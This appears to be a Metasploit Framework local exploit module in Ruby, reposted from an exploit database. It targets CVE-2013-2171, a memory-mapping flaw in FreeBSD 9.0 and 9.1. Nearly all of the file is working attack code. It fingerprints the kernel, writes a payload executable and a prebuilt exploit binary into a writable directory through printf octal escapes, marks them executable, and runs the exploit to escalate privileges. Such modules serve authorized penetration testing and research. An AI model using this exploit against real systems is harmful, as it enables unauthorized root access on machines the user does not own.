## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::Common include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info={}) super( update_info( info, { 'Name' => 'FreeBSD 9 Address Space Manipulation Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability that can be used to modify portions of a process's address space, which may lead to privilege escalation. Systems such as FreeBSD 9.0 and 9.1 are known to be vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Konstantin Belousov', # Discovery 'Alan Cox', # Discovery 'Hunger', # POC 'sinn3r' # Metasploit ], 'Platform' => [ 'bsd' ], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell' ], 'References' => [ [ 'CVE', '2013-2171' ], [ 'OSVDB', '94414' ], [ 'EDB', '26368' ], [ 'BID', '60615' ], [ 'URL', 'http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc' ] ], 'Targets' => [ [ 'FreeBSD x86', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => "Jun 18 2013", } )) register_options([ # It isn't OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), ], self.class) end def check res = session.shell_command_token("uname -a") return Exploit::CheckCode::Appears if res =~ /FreeBSD 9\.[01]/ Exploit::CheckCode::Safe end def write_file(fname, data) oct_data = "\\" + data.unpack("C*").collect {|e| e.to_s(8)} * "\\" session.shell_command_token("printf \"#{oct_data}\" > #{fname}") session.shell_command_token("chmod +x #{fname}") chk = session.shell_command_token("file #{fname}") return (chk =~ /ERROR: cannot open/) ? false : true end def upload_payload fname = datastore['WritableDir'] fname = "#{fname}/" unless fname =~ %r'/$' if fname.length > 36 fail_with(Exploit::Failure::BadConfig, "WritableDir can't be longer than 33 characters") end fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}" p = generate_payload_exe f = write_file(fname, p) return nil if not f fname end def generate_exploit(payload_fname) # # Metasm does not support FreeBSD executable generation. # path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2171.bin") x = File.open(path, 'rb') { |f| f.read(f.stat.size) } x.gsub(/MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/, payload_fname.ljust(40, "\x00")) end def upload_exploit(payload_fname) fname = "/tmp/#{Rex::Text.rand_text_alpha(4)}" bin = generate_exploit(payload_fname) f = write_file(fname, bin) return nil if not f fname end def exploit payload_fname = upload_payload fail_with(Exploit::Failure::NotFound, "Payload failed to upload") if payload_fname.nil? print_status("Payload #{payload_fname} uploaded.") exploit_fname = upload_exploit(payload_fname) fail_with(Exploit::Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil? print_status("Exploit #{exploit_fname} uploaded.") register_files_for_cleanup(payload_fname, exploit_fname) print_status("Executing #{exploit_fname}") cmd_exec(exploit_fname) end end # Iranian Exploit DataBase = http://IeDb.Ir [2013-07-01]